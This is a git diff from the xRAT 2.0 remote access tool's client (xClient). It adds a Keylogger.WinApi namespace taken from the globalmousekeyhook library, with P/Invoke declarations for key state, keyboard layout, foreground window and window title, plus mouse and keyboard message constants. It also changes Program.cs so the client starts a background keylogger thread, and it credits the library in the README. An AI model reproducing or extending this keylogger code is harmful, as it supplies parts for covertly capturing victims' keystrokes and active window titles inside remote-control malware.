[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
|
||||
public static extern short GetKeyState(int vKey);
|
||||
|
||||
/// <summary>
|
||||
/// Translates (maps) a virtual-key code into a scan code or character value, or translates a scan code into a
|
||||
/// virtual-key code.
|
||||
/// </summary>
|
||||
/// <param name="uCode">
|
||||
/// [in] The virtual key code or scan code for a key. How this value is interpreted depends on the
|
||||
/// value of the uMapType parameter.
|
||||
/// </param>
|
||||
/// <param name="uMapType">
|
||||
/// [in] The translation to be performed. The value of this parameter depends on the value of the
|
||||
/// uCode parameter.
|
||||
/// </param>
|
||||
/// <param name="dwhkl">[in] The input locale identifier used to translate the specified code.</param>
|
||||
/// <returns></returns>
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto)]
|
||||
internal static extern int MapVirtualKeyEx(int uCode, int uMapType, IntPtr dwhkl);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the active input locale identifier (formerly called the keyboard layout) for the specified thread.
|
||||
/// If the idThread parameter is zero, the input locale identifier for the active thread is returned.
|
||||
/// </summary>
|
||||
/// <param name="dwLayout">[in] The identifier of the thread to query, or 0 for the current thread. </param>
|
||||
/// <returns>
|
||||
/// The return value is the input locale identifier for the thread. The low word contains a Language Identifier for the
|
||||
/// input
|
||||
/// language and the high word contains a device handle to the physical layout of the keyboard.
|
||||
/// </returns>
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto)]
|
||||
internal static extern IntPtr GetKeyboardLayout(int dwLayout);
|
||||
|
||||
/// <summary>
|
||||
/// MapVirtualKeys uMapType
|
||||
/// </summary>
|
||||
internal enum MapType
|
||||
{
|
||||
/// <summary>
|
||||
/// uCode is a virtual-key code and is translated into an unshifted character value in the low-order word of the return
|
||||
/// value. Dead keys (diacritics) are indicated by setting the top bit of the return value. If there is no translation,
|
||||
/// the function returns 0.
|
||||
/// </summary>
|
||||
MAPVK_VK_TO_VSC,
|
||||
|
||||
/// <summary>
|
||||
/// uCode is a virtual-key code and is translated into a scan code. If it is a virtual-key code that does not
|
||||
/// distinguish between left- and right-hand keys, the left-hand scan code is returned. If there is no translation, the
|
||||
/// function returns 0.
|
||||
/// </summary>
|
||||
MAPVK_VSC_TO_VK,
|
||||
|
||||
/// <summary>
|
||||
/// uCode is a scan code and is translated into a virtual-key code that does not distinguish between left- and
|
||||
/// right-hand keys. If there is no translation, the function returns 0.
|
||||
/// </summary>
|
||||
MAPVK_VK_TO_CHAR,
|
||||
|
||||
/// <summary>
|
||||
/// uCode is a scan code and is translated into a virtual-key code that distinguishes between left- and right-hand
|
||||
/// keys. If there is no translation, the function returns 0.
|
||||
/// </summary>
|
||||
MAPVK_VSC_TO_VK_EX
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,123 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
namespace xClient.Core.Keylogger.WinApi
|
||||
{
|
||||
internal static class Messages
|
||||
{
|
||||
//values from Winuser.h in Microsoft SDK.
|
||||
|
||||
/// <summary>
|
||||
/// The WM_MOUSEMOVE message is posted to a window when the cursor moves.
|
||||
/// </summary>
|
||||
public const int WM_MOUSEMOVE = 0x200;
|
||||
|
||||
/// <summary>
|
||||
/// The WM_LBUTTONDOWN message is posted when the user presses the left mouse button
|
||||
/// </summary>
|
||||
public const int WM_LBUTTONDOWN = 0x201;
|
||||
|
||||
/// <summary>
|
||||
/// The WM_RBUTTONDOWN message is posted when the user presses the right mouse button
|
||||
/// </summary>
|
||||
public const int WM_RBUTTONDOWN = 0x204;
|
||||
|
||||
/// <summary>
|
||||
/// The WM_MBUTTONDOWN message is posted when the user presses the middle mouse button
|
||||
/// </summary>
|
||||
public const int WM_MBUTTONDOWN = 0x207;
|
||||
|
||||
/// <summary>
|
||||
/// The WM_LBUTTONUP message is posted when the user releases the left mouse button
|
||||
/// </summary>
|
||||
public const int WM_LBUTTONUP = 0x202;
|
||||
|
||||
/// <summary>
|
||||
/// The WM_RBUTTONUP message is posted when the user releases the right mouse button
|
||||
/// </summary>
|
||||
public const int WM_RBUTTONUP = 0x205;
|
||||
|
||||
/// <summary>
|
||||
/// The WM_MBUTTONUP message is posted when the user releases the middle mouse button
|
||||
/// </summary>
|
||||
public const int WM_MBUTTONUP = 0x208;
|
||||
|
||||
/// <summary>
|
||||
/// The WM_LBUTTONDBLCLK message is posted when the user double-clicks the left mouse button
|
||||
/// </summary>
|
||||
public const int WM_LBUTTONDBLCLK = 0x203;
|
||||
|
||||
/// <summary>
|
||||
/// The WM_RBUTTONDBLCLK message is posted when the user double-clicks the right mouse button
|
||||
/// </summary>
|
||||
public const int WM_RBUTTONDBLCLK = 0x206;
|
||||
|
||||
/// <summary>
|
||||
/// The WM_RBUTTONDOWN message is posted when the user presses the right mouse button
|
||||
/// </summary>
|
||||
public const int WM_MBUTTONDBLCLK = 0x209;
|
||||
|
||||
/// <summary>
|
||||
/// The WM_MOUSEWHEEL message is posted when the user presses the mouse wheel.
|
||||
/// </summary>
|
||||
public const int WM_MOUSEWHEEL = 0x020A;
|
||||
|
||||
/// <summary>
|
||||
/// The WM_XBUTTONDOWN message is posted when the user presses the first or second X mouse
|
||||
/// button.
|
||||
/// </summary>
|
||||
public const int WM_XBUTTONDOWN = 0x20B;
|
||||
|
||||
/// <summary>
|
||||
/// The WM_XBUTTONUP message is posted when the user releases the first or second X mouse
|
||||
/// button.
|
||||
/// </summary>
|
||||
public const int WM_XBUTTONUP = 0x20C;
|
||||
|
||||
/// <summary>
|
||||
/// The WM_XBUTTONDBLCLK message is posted when the user double-clicks the first or second
|
||||
/// X mouse button.
|
||||
/// </summary>
|
||||
/// <remarks>Only windows that have the CS_DBLCLKS style can receive WM_XBUTTONDBLCLK messages.</remarks>
|
||||
public const int WM_XBUTTONDBLCLK = 0x20D;
|
||||
|
||||
/// <summary>
|
||||
/// The WM_MOUSEHWHEEL message Sent to the active window when the mouse's horizontal scroll
|
||||
/// wheel is tilted or rotated.
|
||||
/// </summary>
|
||||
public const int WM_MOUSEHWHEEL = 0x20E;
|
||||
|
||||
/// <summary>
|
||||
/// The WM_KEYDOWN message is posted to the window with the keyboard focus when a non-system
|
||||
/// key is pressed. A non-system key is a key that is pressed when the ALT key is not pressed.
|
||||
/// </summary>
|
||||
public const int WM_KEYDOWN = 0x100;
|
||||
|
||||
/// <summary>
|
||||
/// The WM_KEYUP message is posted to the window with the keyboard focus when a non-system
|
||||
/// key is released. A non-system key is a key that is pressed when the ALT key is not pressed,
|
||||
/// or a keyboard key that is pressed when a window has the keyboard focus.
|
||||
/// </summary>
|
||||
public const int WM_KEYUP = 0x101;
|
||||
|
||||
/// <summary>
|
||||
/// The WM_SYSKEYDOWN message is posted to the window with the keyboard focus when the user
|
||||
/// presses the F10 key (which activates the menu bar) or holds down the ALT key and then
|
||||
/// presses another key. It also occurs when no window currently has the keyboard focus;
|
||||
/// in this case, the WM_SYSKEYDOWN message is sent to the active window. The window that
|
||||
/// receives the message can distinguish between these two contexts by checking the context
|
||||
/// code in the lParam parameter.
|
||||
/// </summary>
|
||||
public const int WM_SYSKEYDOWN = 0x104;
|
||||
|
||||
/// <summary>
|
||||
/// The WM_SYSKEYUP message is posted to the window with the keyboard focus when the user
|
||||
/// releases a key that was pressed while the ALT key was held down. It also occurs when no
|
||||
/// window currently has the keyboard focus; in this case, the WM_SYSKEYUP message is sent
|
||||
/// to the active window. The window that receives the message can distinguish between
|
||||
/// these two contexts by checking the context code in the lParam parameter.
|
||||
/// </summary>
|
||||
public const int WM_SYSKEYUP = 0x105;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,27 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace xClient.Core.Keylogger.WinApi
|
||||
{
|
||||
internal static class MouseNativeMethods
|
||||
{
|
||||
/// <summary>
|
||||
/// The GetDoubleClickTime function retrieves the current double-click time for the mouse. A double-click is a series
|
||||
/// of two clicks of the
|
||||
/// mouse button, the second occurring within a specified time after the first. The double-click time is the maximum
|
||||
/// number of
|
||||
/// milliseconds that may occur between the first and second click of a double-click.
|
||||
/// </summary>
|
||||
/// <returns>
|
||||
/// The return value specifies the current double-click time, in milliseconds.
|
||||
/// </returns>
|
||||
/// <remarks>
|
||||
/// http://msdn.microsoft.com/en-us/library/ms646258(VS.85).aspx
|
||||
/// </remarks>
|
||||
[DllImport("user32")]
|
||||
internal static extern int GetDoubleClickTime();
|
||||
}
|
||||
}
|
|
@ -0,0 +1,54 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace xClient.Core.Keylogger.WinApi
|
||||
{
|
||||
/// <summary>
|
||||
/// The <see cref="MouseStruct" /> structure contains information about a mouse input event.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// See full documentation at http://globalmousekeyhook.codeplex.com/wikipage?title=MouseStruct
|
||||
/// </remarks>
|
||||
[StructLayout(LayoutKind.Explicit)]
|
||||
internal struct MouseStruct
|
||||
{
|
||||
/// <summary>
|
||||
/// Specifies a Point structure that contains the X- and Y-coordinates of the cursor, in screen coordinates.
|
||||
/// </summary>
|
||||
[FieldOffset(0x00)] public Point Point;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies information associated with the message.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// The possible values are:
|
||||
/// <list type="bullet">
|
||||
/// <item>
|
||||
/// <description>0 - No Information</description>
|
||||
/// </item>
|
||||
/// <item>
|
||||
/// <description>1 - X-Button1 Click</description>
|
||||
/// </item>
|
||||
/// <item>
|
||||
/// <description>2 - X-Button2 Click</description>
|
||||
/// </item>
|
||||
/// <item>
|
||||
/// <description>120 - Mouse Scroll Away from User</description>
|
||||
/// </item>
|
||||
/// <item>
|
||||
/// <description>-120 - Mouse Scroll Toward User</description>
|
||||
/// </item>
|
||||
/// </list>
|
||||
/// </remarks>
|
||||
[FieldOffset(0x0A)] public Int16 MouseData;
|
||||
|
||||
/// <summary>
|
||||
/// Returns a Timestamp associated with the input, in System Ticks.
|
||||
/// </summary>
|
||||
[FieldOffset(0x10)] public Int32 Timestamp;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,64 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace xClient.Core.Keylogger.WinApi
|
||||
{
|
||||
/// <summary>
|
||||
/// The Point structure defines the X- and Y- coordinates of a point.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/gdi/rectangl_0tiq.asp
|
||||
/// </remarks>
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct Point
|
||||
{
|
||||
/// <summary>
|
||||
/// Specifies the X-coordinate of the point.
|
||||
/// </summary>
|
||||
public int X;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the Y-coordinate of the point.
|
||||
/// </summary>
|
||||
public int Y;
|
||||
|
||||
public Point(int x, int y)
|
||||
{
|
||||
X = x;
|
||||
Y = y;
|
||||
}
|
||||
|
||||
public static bool operator ==(Point a, Point b)
|
||||
{
|
||||
return a.X == b.X && a.Y == b.Y;
|
||||
}
|
||||
|
||||
public static bool operator !=(Point a, Point b)
|
||||
{
|
||||
return !(a == b);
|
||||
}
|
||||
|
||||
public bool Equals(Point other)
|
||||
{
|
||||
return other.X == X && other.Y == Y;
|
||||
}
|
||||
|
||||
public override bool Equals(object obj)
|
||||
{
|
||||
if (ReferenceEquals(null, obj)) return false;
|
||||
if (obj.GetType() != typeof (Point)) return false;
|
||||
return Equals((Point) obj);
|
||||
}
|
||||
|
||||
public override int GetHashCode()
|
||||
{
|
||||
unchecked
|
||||
{
|
||||
return (X*397) ^ Y;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,46 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace xClient.Core.Keylogger.WinApi
|
||||
{
|
||||
internal static class ThreadNativeMethods
|
||||
{
|
||||
/// <summary>
|
||||
/// Retrieves the unmanaged thread identifier of the calling thread.
|
||||
/// </summary>
|
||||
/// <returns></returns>
|
||||
[DllImport("kernel32")]
|
||||
internal static extern int GetCurrentThreadId();
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves a handle to the foreground window (the window with which the user is currently working).
|
||||
/// The system assigns a slightly higher priority to the thread that creates the foreground window than it does to
|
||||
/// other threads.
|
||||
/// </summary>
|
||||
/// <returns></returns>
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto)]
|
||||
internal static extern IntPtr GetForegroundWindow();
|
||||
|
||||
[DllImport("user32", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
internal static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the identifier of the thread that created the specified window and, optionally, the identifier of the
|
||||
/// process that
|
||||
/// created the window.
|
||||
/// </summary>
|
||||
/// <param name="handle">A handle to the window. </param>
|
||||
/// <param name="processId">
|
||||
/// A pointer to a variable that receives the process identifier. If this parameter is not NULL,
|
||||
/// GetWindowThreadProcessId copies the identifier of the process to the variable; otherwise, it does not.
|
||||
/// </param>
|
||||
/// <returns>The return value is the identifier of the thread that created the window. </returns>
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
internal static extern int GetWindowThreadProcessId(IntPtr handle, out int processId);
|
||||
}
|
||||
}
|
|
@ -47,7 +47,7 @@ namespace xClient
|
|||
if (CommandHandler.LastDesktopScreenshot != null)
|
||||
CommandHandler.LastDesktopScreenshot.Dispose();
|
||||
if (Logger.Instance != null)
|
||||
Logger.Instance.Enabled = false;
|
||||
Logger.Instance.Dispose();
|
||||
if (_appMutex != null)
|
||||
_appMutex.Close();
|
||||
|
||||
|
@ -145,7 +145,7 @@ namespace xClient
|
|||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
Logger logger = new Logger(15000) { Enabled = true };
|
||||
Logger logger = new Logger(15000);
|
||||
}).Start();
|
||||
}
|
||||
}
|
||||
|
|
|
@ -82,6 +82,10 @@ ResourceLib
|
|||
Copyright (c) Daniel Doubrovkine, Vestris Inc., 2008-2013
|
||||
https://github.com/dblock/resourcelib
|
||||
|
||||
globalmousekeyhook
|
||||
Copyright (c) 2004-2015, George Mamaladze
|
||||
https://github.com/gmamaladze/globalmousekeyhook
|
||||
|
||||
Thank you!
|
||||
---
|
||||
I really appreciate all kinds of feedback and contributions. Thanks for using and supporting xRAT 2.0!
|
||||
|
|
Loading…
Reference in New Issue